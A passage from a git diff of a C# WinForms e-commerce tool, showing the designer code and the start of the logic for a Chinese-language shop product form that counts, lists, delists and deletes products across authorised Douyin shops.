System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.btnFailedDetail = new LittleRabbit.UserControls.ButtonEx(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.buttonEx1); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx3); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(933, 637); + this.splitContainer1.SplitterDistance = 120; + this.splitContainer1.TabIndex = 378; + // + // buttonEx1 + // + this.buttonEx1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonEx1.Cursor = System.Windows.Forms.Cursors.Hand; + this.buttonEx1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonEx1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonEx1.ForeColor = System.Drawing.Color.White; + this.buttonEx1.Location = new System.Drawing.Point(842, 11); + this.buttonEx1.Margin = new System.Windows.Forms.Padding(2); + this.buttonEx1.Name = "buttonEx1"; + this.buttonEx1.Size = new System.Drawing.Size(80, 26); + this.buttonEx1.TabIndex = 404; + this.buttonEx1.Text = "测试延迟发货"; + this.buttonEx1.UseVisualStyleBackColor = false; + this.buttonEx1.Visible = false; + this.buttonEx1.Click += new System.EventHandler(this.buttonEx1_Click); + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.btnStop); + this.ucGroupBoxEx3.Controls.Add(this.btnDelOffSale); + this.ucGroupBoxEx3.Controls.Add(this.btnDelOnSale); + this.ucGroupBoxEx3.Controls.Add(this.btnOffline); + this.ucGroupBoxEx3.Controls.Add(this.btnOnline); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(506, 2); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(200, 120); + this.ucGroupBoxEx3.TabIndex = 396; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "操作"; + // + // btnStop + // + this.btnStop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnStop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnStop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnStop.ForeColor = System.Drawing.Color.White; + this.btnStop.Location = new System.Drawing.Point(21, 83); + this.btnStop.Margin = new System.Windows.Forms.Padding(2); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(80, 26); + this.btnStop.TabIndex = 379; + this.btnStop.Text = "停止操作"; + this.btnStop.UseVisualStyleBackColor = false; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnDelOffSale + // + this.btnDelOffSale.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDelOffSale.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnDelOffSale.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDelOffSale.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnDelOffSale.ForeColor = System.Drawing.Color.White; + this.btnDelOffSale.Location = new System.Drawing.Point(21, 53); + this.btnDelOffSale.Margin = new System.Windows.Forms.Padding(2); + this.btnDelOffSale.Name = "btnDelOffSale"; + this.btnDelOffSale.Size = new System.Drawing.Size(80, 26); + this.btnDelOffSale.TabIndex = 378; + this.btnDelOffSale.Text = "删除仓库"; + this.btnDelOffSale.UseVisualStyleBackColor = false; + this.btnDelOffSale.Click += new System.EventHandler(this.btnDelOffSale_Click); + // + // btnDelOnSale + // + this.btnDelOnSale.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnDelOnSale.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnDelOnSale.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnDelOnSale.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnDelOnSale.ForeColor = System.Drawing.Color.White; + this.btnDelOnSale.Location = new System.Drawing.Point(105, 53); + this.btnDelOnSale.Margin = new System.Windows.Forms.Padding(2); + this.btnDelOnSale.Name = "btnDelOnSale"; + this.btnDelOnSale.Size = new System.Drawing.Size(80, 26); + this.btnDelOnSale.TabIndex = 377; + this.btnDelOnSale.Text = "删除在售"; + this.btnDelOnSale.UseVisualStyleBackColor = false; + this.btnDelOnSale.Click += new System.EventHandler(this.btnDelOnSale_Click); + // + // btnOffline + // + this.btnOffline.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOffline.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnOffline.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnOffline.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnOffline.ForeColor = System.Drawing.Color.White; + this.btnOffline.Location = new System.Drawing.Point(105, 23); + this.btnOffline.Margin = new System.Windows.Forms.Padding(2); + this.btnOffline.Name = "btnOffline"; + this.btnOffline.Size = new System.Drawing.Size(80, 26); + this.btnOffline.TabIndex = 376; + this.btnOffline.Text = "商品下架"; + this.btnOffline.UseVisualStyleBackColor = false; + this.btnOffline.Click += new System.EventHandler(this.btnOffline_Click); + // + // btnOnline + // + this.btnOnline.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOnline.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnOnline.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnOnline.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnOnline.ForeColor = System.Drawing.Color.White; + this.btnOnline.Location = new System.Drawing.Point(21, 23); + this.btnOnline.Margin = new System.Windows.Forms.Padding(2); + this.btnOnline.Name = "btnOnline"; + this.btnOnline.Size = new System.Drawing.Size(80, 26); + this.btnOnline.TabIndex = 375; + this.btnOnline.Text = "商品上架"; + this.btnOnline.UseVisualStyleBackColor = false; + this.btnOnline.Click += new System.EventHandler(this.btnOnline_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.btnGetProductCount); + this.ucGroupBoxEx1.Controls.Add(this.btnRefreshShop); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(2, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(144, 120); + this.ucGroupBoxEx1.TabIndex = 393; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "店铺刷新"; + // + // btnGetProductCount + // + this.btnGetProductCount.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProductCount.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProductCount.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnGetProductCount.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetProductCount.ForeColor = System.Drawing.Color.White; + this.btnGetProductCount.Location = new System.Drawing.Point(16, 67); + this.btnGetProductCount.Margin = new System.Windows.Forms.Padding(2); + this.btnGetProductCount.Name = "btnGetProductCount"; + this.btnGetProductCount.Size = new System.Drawing.Size(112, 26); + this.btnGetProductCount.TabIndex = 375; + this.btnGetProductCount.Text = "获取商品数量"; + this.btnGetProductCount.UseVisualStyleBackColor = false; + this.btnGetProductCount.Click += new System.EventHandler(this.btnGetProduct_Click); + // + // btnRefreshShop + // + this.btnRefreshShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefreshShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefreshShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefreshShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefreshShop.ForeColor = System.Drawing.Color.White; + this.btnRefreshShop.Location = new System.Drawing.Point(16, 30); + this.btnRefreshShop.Margin = new System.Windows.Forms.Padding(2); + this.btnRefreshShop.Name = "btnRefreshShop"; + this.btnRefreshShop.Size = new System.Drawing.Size(112, 26); + this.btnRefreshShop.TabIndex = 374; + this.btnRefreshShop.Text = "刷新店铺状态"; + this.btnRefreshShop.UseVisualStyleBackColor = false; + this.btnRefreshShop.Click += new System.EventHandler(this.btnRefreshShop_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.txtKeywords); + this.ucGroupBoxEx2.Controls.Add(this.label1); + this.ucGroupBoxEx2.Controls.Add(this.chkNotOperateChangeDays); + this.ucGroupBoxEx2.Controls.Add(this.chkNotOperateHasSales); + this.ucGroupBoxEx2.Controls.Add(this.txtNotOperateChangeDays); + this.ucGroupBoxEx2.Controls.Add(this.label2); + this.ucGroupBoxEx2.Controls.Add(this.txtOperateCount); + this.ucGroupBoxEx2.Controls.Add(this.label12); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(146, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(360, 120); + this.ucGroupBoxEx2.TabIndex = 395; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "参数"; + // + // txtKeywords + // + // + // + // + this.txtKeywords.Border.Class = "TextBoxBorder"; + this.txtKeywords.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtKeywords.Location = new System.Drawing.Point(249, 25); + this.txtKeywords.Multiline = true; + this.txtKeywords.Name = "txtKeywords"; + this.txtKeywords.PreventEnterBeep = true; + this.txtKeywords.Size = new System.Drawing.Size(96, 84); + this.txtKeywords.TabIndex = 406; + this.txtKeywords.WatermarkText = "仅下架或删除包含列表关键词的商品\r\n一行一个"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(177, 28); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(68, 17); + this.label1.TabIndex = 405; + this.label1.Text = "包含关键词"; + // + // chkNotOperateChangeDays + // + this.chkNotOperateChangeDays.AutoSize = true; + this.chkNotOperateChangeDays.Checked = true; + this.chkNotOperateChangeDays.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkNotOperateChangeDays.Location = new System.Drawing.Point(16, 59); + this.chkNotOperateChangeDays.Name = "chkNotOperateChangeDays"; + this.chkNotOperateChangeDays.Size = new System.Drawing.Size(15, 14); + this.chkNotOperateChangeDays.TabIndex = 403; + this.chkNotOperateChangeDays.UseVisualStyleBackColor = true; + this.chkNotOperateChangeDays.CheckedChanged += new System.EventHandler(this.chkNotOperateChangeDays_CheckedChanged); + // + // chkNotOperateHasSales + // + this.chkNotOperateHasSales.AutoSize = true; + this.chkNotOperateHasSales.Checked = true; + this.chkNotOperateHasSales.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkNotOperateHasSales.Location = new System.Drawing.Point(16, 86); + this.chkNotOperateHasSales.Name = "chkNotOperateHasSales"; + this.chkNotOperateHasSales.Size = new System.Drawing.Size(123, 21); + this.chkNotOperateHasSales.TabIndex = 403; + this.chkNotOperateHasSales.Text = "商品有销量不清理"; + this.chkNotOperateHasSales.UseVisualStyleBackColor = true; + this.chkNotOperateHasSales.CheckedChanged += new System.EventHandler(this.chkNotOperateHasSales_CheckedChanged); + // + // txtNotOperateChangeDays + // + this.txtNotOperateChangeDays.Location = new System.Drawing.Point(64, 55); + this.txtNotOperateChangeDays.Name = "txtNotOperateChangeDays"; + this.txtNotOperateChangeDays.Size = new System.Drawing.Size(36, 23); + this.txtNotOperateChangeDays.TabIndex = 402; + this.txtNotOperateChangeDays.Text = "7"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(33, 58); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(172, 17); + this.label2.TabIndex = 397; + this.label2.Text = "跳过 天内修改过的商品"; + // + // txtOperateCount + // + this.txtOperateCount.Location = new System.Drawing.Point(71, 25); + this.txtOperateCount.Name = "txtOperateCount"; + this.txtOperateCount.Size = new System.Drawing.Size(79, 23); + this.txtOperateCount.TabIndex = 376; + this.txtOperateCount.Text = "999999"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(13, 28); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(56, 17); + this.label12.TabIndex = 378; + this.label12.Text = "处理数量"; + this.label12.Click += new System.EventHandler(this.label12_Click); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 4, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.btnFailedDetail); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(933, 513); + this.splitContainer2.SplitterDistance = 483; + this.splitContainer2.TabIndex = 7; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colShopId, + this.colShopName, + this.colAuthStatus, + this.colLoginStatus, + this.colCanUse, + this.colDetail, + this.colOnSaleCount, + this.colOffSaleCount, + this.colOperationCount, + this.colStatus}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 4); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(925, 479); + this.dgvShop.TabIndex = 6; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 41; + // + // colShopId + // + this.colShopId.HeaderText = "店铺Id"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + this.colShopId.Visible = false; + this.colShopId.Width = 150; + // + // colShopName + // + this.colShopName.HeaderText = "店铺名称"; + this.colShopName.Name = "colShopName"; + this.colShopName.ReadOnly = true; + this.colShopName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopName.Width = 250; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "授权状态"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 68; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Width = 68; + // + // colCanUse + // + this.colCanUse.HeaderText = "可用"; + this.colCanUse.Name = "colCanUse"; + this.colCanUse.ReadOnly = true; + this.colCanUse.Width = 50; + // + // colDetail + // + this.colDetail.HeaderText = "查看详情"; + this.colDetail.Name = "colDetail"; + this.colDetail.ReadOnly = true; + this.colDetail.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colDetail.Visible = false; + this.colDetail.Width = 90; + // + // colOnSaleCount + // + this.colOnSaleCount.HeaderText = "出售中"; + this.colOnSaleCount.Name = "colOnSaleCount"; + this.colOnSaleCount.ReadOnly = true; + this.colOnSaleCount.Width = 80; + // + // colOffSaleCount + // + this.colOffSaleCount.HeaderText = "仓库中"; + this.colOffSaleCount.Name = "colOffSaleCount"; + this.colOffSaleCount.ReadOnly = true; + this.colOffSaleCount.Width = 80; + // + // colOperationCount + // + this.colOperationCount.HeaderText = "操作数量"; + this.colOperationCount.Name = "colOperationCount"; + this.colOperationCount.ReadOnly = true; + // + // colStatus + // + this.colStatus.HeaderText = "操作状态"; + this.colStatus.Name = "colStatus"; + this.colStatus.ReadOnly = true; + this.colStatus.Width = 200; + // + // btnFailedDetail + // + this.btnFailedDetail.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnFailedDetail.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnFailedDetail.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnFailedDetail.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnFailedDetail.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnFailedDetail.ForeColor = System.Drawing.Color.White; + this.btnFailedDetail.Location = new System.Drawing.Point(850, -3); + this.btnFailedDetail.Margin = new System.Windows.Forms.Padding(2); + this.btnFailedDetail.Name = "btnFailedDetail"; + this.btnFailedDetail.Size = new System.Drawing.Size(80, 26); + this.btnFailedDetail.TabIndex = 376; + this.btnFailedDetail.Text = "失败详情"; + this.btnFailedDetail.UseVisualStyleBackColor = false; + this.btnFailedDetail.Visible = false; + this.btnFailedDetail.Click += new System.EventHandler(this.btnFailedDetail_Click); + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(933, 26); + this.statusBar.TabIndex = 2; + // + // ShopProductForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(933, 637); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "ShopProductForm"; + this.Text = "ShopProductForm"; + this.Load += new System.EventHandler(this.ShopProductForm_Load); + this.VisibleChanged += new System.EventHandler(this.ShopProductForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.ucGroupBoxEx3.ResumeLayout(false); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private UserControls.ButtonEx btnRefreshShop; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox txtOperateCount; + private System.Windows.Forms.Label label12; + private UserComponent.DataGridViewEx dgvShop; + private UserControls.ButtonEx btnGetProductCount; + private UserComponent.UcGroupBoxEx ucGroupBoxEx3; + private System.Windows.Forms.CheckBox chkNotOperateHasSales; + private System.Windows.Forms.TextBox txtNotOperateChangeDays; + private UserControls.ButtonEx btnDelOffSale; + private UserControls.ButtonEx btnDelOnSale; + private UserControls.ButtonEx btnOffline; + private UserControls.ButtonEx btnOnline; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserControls.StatusBarUserControl statusBar; + private UserControls.ButtonEx btnFailedDetail; + private UserControls.ButtonEx btnStop; + private UserControls.ButtonEx buttonEx1; + private System.Windows.Forms.CheckBox chkNotOperateChangeDays; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewCheckBoxColumn colCanUse; + private System.Windows.Forms.DataGridViewLinkColumn colDetail; + private System.Windows.Forms.DataGridViewTextBoxColumn colOnSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colOffSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colOperationCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colStatus; + private DevComponents.DotNetBar.Controls.TextBoxX txtKeywords; + private System.Windows.Forms.Label label1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/ShopProductForm.cs b/TEMUKJD/KJDForms/UploadForms/ShopProductForm.cs new file mode 100644 index 0000000..65bd67b --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/ShopProductForm.cs @@ -0,0 +1,1619 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp.WinForms; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Product; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class ShopProductForm : Form + { + ChromiumWebBrowser webBrowser = null; + private int operateCount = 999999; + private List keywords = null; + private CheckBox chkSelectAll = null; + private List lstShopId = new List(); + public string FailedMessages = ""; + public bool isNotOperateChangeDays = true; + public bool isNotOperateHasSales = true; + public DateTime notOperateChangeDays = DateTime.Now.Date.AddDays(-7); + public long notOperateChangeDaysTick = 0; + public List lstProductIdHasSales = new List(); + public List lstGetSalesSuccesShop = new List(); + public DouShopLoginInfo currentShop = null; + public bool isReadShopSales = false; + ShopProductBLL shopProductBLL = new ShopProductBLL(); + CancellationTokenSource cancellationTokenSource = null; + List lstOperateTask = new List(); + + public ShopProductForm() + { + InitializeComponent(); + } + + private void btnGetProduct_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择要获取商品数量的店铺"); + return; + } + this.btnGetProductCount.Enabled = false; + foreach (DataGridViewRow row in dgvShop.Rows) + { + if (lstShopId.Contains(row.Cells["colShopId"]?.Value)) + row.Cells["colStatus"].Value = ""; + } + Task.Run(() => + { + GetShopProduct(); + + Invoke(new Action(() => + { + btnGetProductCount.Enabled = true; + BaseMsgForm.ShowInfo("商品数量获取完成"); + })); + }); + } + + void GetShopProduct(bool isShowProgress = true) + { + int i = 0; + var shopList = GlobalConfig.DouShopLoginList.Where(s => s.ApiAuthStatus == "授权成功" && lstShopId.Contains(s.ShopAccountId)); + foreach (var shop in shopList) + { + this.Invoke(new Action(() => + { + i++; + var total = shopList.Count(); + + if (isShowProgress) + { + this.statusBar.lblTaskStatus.Text = "正在获取..."; + this.statusBar.pgbTaskProgress.Value = i; + this.statusBar.pgbTaskProgress.Text = i + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + } + })); + + GetShopProduct(shop); + Thread.Sleep(Randomx.GetId(50, 150)); + } + if (shopList.Count() > 0) + StartUp.SaveDouShopLoginInfo(); + Invoke(new Action(() => + { + if (isShowProgress) + this.statusBar.lblTaskStatus.Text = "获取完成"; + })); + } + + void GetShopProduct(DouShopLoginInfo shop, bool isShowResult = true) + { + DataGridViewRow row = null; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + if (isShowResult) + row.Cells["colStatus"].Value = "正在获取店铺商品数量"; + } + })); + + // 读取在售商品数量 + var resultOnline = shopProductBLL.GetShopProductListData(shop, 0, 1, 10); + if (resultOnline.Contains("\"code\":10000")) + { + if (row != null) + { + var text = BaseRegex.GetStringJson(ref resultOnline, "total"); + shop.OnlineProductCount = text.ParseToInt(); + + Invoke(new Action(() => + { + row.Cells["colOnSaleCount"].Value = string.IsNullOrEmpty(text) ? "" : text; + })); + } + } + // 读取下架商品数量 + var 